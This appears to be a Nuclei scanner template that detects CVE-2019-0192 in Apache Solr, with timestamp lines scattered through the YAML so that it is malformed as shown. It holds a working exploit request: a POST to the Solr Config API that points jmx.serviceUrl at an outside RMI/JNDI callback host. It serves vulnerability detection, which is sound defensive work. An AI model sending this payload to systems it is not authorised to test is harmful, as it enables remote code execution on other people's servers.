2024-11-01 16:55:53 +00:00
id : CVE-2019-0192
info :
2024-11-03 19:46:23 +00:00
name : Apache Solr - Deserialization of Untrusted Data
2024-11-01 16:55:53 +00:00
author : hnd3884
2024-11-03 19:46:23 +00:00
severity : critical
description : |
In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
2024-11-01 16:55:53 +00:00
reference :
- https://github.com/Imanfeng/Apache-Solr-RCE
2024-11-03 19:46:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-0192
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2019-0192
cwe-id : CWE-502
epss-score : 0.94754
epss-percentile : 0.99337
cpe : cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
metadata :
max-request : 2
vendor : apache
product : solr
shodan-query : title:"Solr"
fofa-query : title="Solr
tags : cve,cve2019,apache,solr,deserialization,rce,oast
flow : http(1) && http(2)
2024-11-01 16:55:53 +00:00
http :
- raw :
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host : {{Hostname}}
2024-11-03 19:46:23 +00:00
2024-11-01 16:55:53 +00:00
extractors :
- type : json
name : core_name
json :
- '.status | .[].name'
internal : true
- raw :
- |
POST /solr/{{core_name}}/config HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
2024-11-01 19:13:51 +00:00
2024-11-03 19:46:23 +00:00
{"set-property" : {"jmx.serviceUrl" : "service:jmx:rmi:///jndi/rmi://{{interactsh-url}}/obj" }}
2024-11-01 16:55:53 +00:00
matchers :
2024-11-05 07:07:54 +00:00
- type : dsl
dsl :
- 'contains(interactsh_protocol, "dns")'
- 'contains(body, "javax.management.remote.rmi")'
- 'contains(content_type, "text/plain")'
- 'status_code == 500'
condition : and
2024-11-05 23:17:41 +00:00
# digest: 4a0a004730450221008fd70c8333de16f1f7095b037a139981be67dfb0d120412a06c7ef848fcbaf1702202a7f3b14df94ee8cb7051fe153184bdc15d000377acc64e5d9ac70d23d9eeda5:922c64590222798bb761d5b6d8e72950